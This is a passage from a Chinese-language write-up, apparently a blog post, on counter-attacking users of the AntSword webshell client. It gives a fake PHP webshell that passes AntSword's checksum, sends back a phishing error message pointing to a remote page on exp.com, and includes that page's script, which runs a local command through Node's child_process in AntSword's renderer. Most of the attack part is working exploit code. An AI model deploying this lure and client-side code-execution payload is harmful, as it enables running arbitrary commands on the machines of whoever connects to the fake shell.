if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
返回包:
c63faa80D:/phpstudy_pro/WWW C:D:E:F: Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER03bb509
通过返回包可以看出webshell获取了web目录、盘符、系统版本、用户名等信息。在这些信息头尾各有一段随机字符,推测是类似校验码的东西。通过反复抓包确定两段随机字符存在其中一段即可通过校验,其他的内容会被缓存起来供其他功能调用。而校验码在请求包中也能找到。这个时候我们就可以按照要求写出一个可以通过蚁剑客户端校验的”webshell“。
注意 :返回包中的每段信息中间以\t分隔,而不是空格。这点在源码中可以找到,之前因为这个卡了好长时间。
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
sleep('2');
echo "$key"."$txt";
开始第二部分,伪造当在虚拟终端中执行命令时蚁剑的数据包。我们要从请求包中提取出一个特征,用来和连通性包做出区分。
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
$payload='http://exp.com/index.html';//远程加载js的页面,代码在文后
echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";//输出的钓鱼内容
payload
webshell.php
<?php
$A=urldecode(file_get_contents("php://input"));
$iscmd="%(.*)127;%si";
if (preg_match($iscmd,$A,$B)!=0) {
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$payload='http://127.0.0.1/antSword/index.html';
sleep('2');
echo "$key".'ret=405'."\n".'数据解码错误,请访问使用文档查询解决方案。AntSword:'."$payload";
} else {
$ze="%echo ([^<]*?).\"([^<]*?);echo @asenc%";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";",'@asenc'], "", $c);
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Edition) i586'."\t".'administrator';
sleep('2');
echo "$key"."$txt";
}
?>
index.html,通过蚁剑的浏览器渲染执行代码
<script type="text/javascript">
require('child_process').exec('calc');
</script>
最终效果
膜!!!